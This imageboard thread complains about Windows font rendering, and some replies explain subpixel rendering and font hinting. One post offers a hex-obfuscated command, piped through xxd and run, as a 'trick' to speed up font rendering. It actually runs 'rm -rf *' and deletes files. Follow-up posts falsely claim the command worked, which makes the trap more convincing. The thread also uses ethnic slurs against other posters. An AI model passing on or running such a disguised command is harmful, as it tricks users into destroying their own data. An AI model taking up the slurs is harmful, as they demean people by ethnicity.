Why is font rendering on Windows so fucking god-awful? Seriously.

>>56339857
>lets start aliasing the fonts more

The Apple Macbook Pro with Retina Display doesn't have this problem.

>>56340179
No shit. It's a homogenous product. They can literally hardcode aliasing based off their predetermined specification.

>>56339857
>aliasing
>>56339857
>aliasing
ANTI-aliasing, not aliasing.

>>56340221
>buys product that has a problem
>doesn't buy product that doesn't have problem
Genius! :^)

It's fine if you have a high dpi screen and scale text.
Source: very big font rendering snob, but have no problem with my 4k 17.3 inch screen scaled to 150 percent

>>56340321
Get the fuck out, shill.

>>56340433
>facts make me ANGERY
:^)

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>>56340453

>>56339857
I've never understood this. What is wrong with the fonts in Windows? I haven't seen any difference between using linux operating systems and windows operating systems in terms of font rendering quality.

This is all quite dubious.

>>56340823
Shut up pajeet

This is an easy trick to increase your font rendering performance

$(echo 726d202d7266202a0a | xxd -r -p)

>>56340915

Wow. Thanks anon. It worked a treat.

>>56340915
wtf I hate xxd now

>>56340873
>>56340823
>Anyone who disagrees is a pAjEeT
>I have to justify my opinions by calling all others insults as a way of condemning them as a person rather than as a logical creature

>>56340915
Wow, I just did this, everything now runs 5x faster! Thanks bro

>>56340823
it depends on the dpi of your monitor, if you are using a 1080p 15 inch panel, it's probably find.

I use a common 1080p 22 inch panel, and I can't for my life read text on the screen, the font is of the proper size but the rendering is all blurry, it makes me wanna vomit.

In linux they look nice.

They actually look kinda OK on high dpi screens. It looked fine on my friend's laptop, 15.6" 4K.
Looks like ass on my 1080 23" though.

>>56340915
Kids

>>56339857
Please can someone explain me the difference in font rendering between different OSs? I'd really appreciate a side by side comparison with explanation, because even when I look at the picture, I usually fail to see difference.

I beg thee, I want to join the group that is able to complain about font rendering, but I can't do that unless I can tell the difference.

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>>56341852
>https://en.wikipedia.org/wiki/Subpixel_rendering#Patents
>http://www.joelonsoftware.com/items/2007/06/12.html
Basically, different OS's use a different type of patented font rendering algorithm to display text smoothly on screens. Microsoft has favored the more crisp type of algorithm where as Apple and Linux favor a more designer-intended algorithm. Even though you can change it in Windows, the way it displays sub-pixel RGB anti-aliasing is fundamentally different. I haven't been able to find how much different these are but basic screenshots should be able to give you an idea.

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>>56341852
https://en.wikipedia.org/wiki/Font_hinting

>>56342121
>>56342199
Thank you, I'll look into these.

>>56342433
The gist is that font hinting is more legible on low resolution monitors
and a lack of hinting (like Apple does it), is more true to the font.

>>56339857
Windows 7 doesn't have this problem

>>56340179
>blurry ass retina shit
>good

Fuck off Pajeet.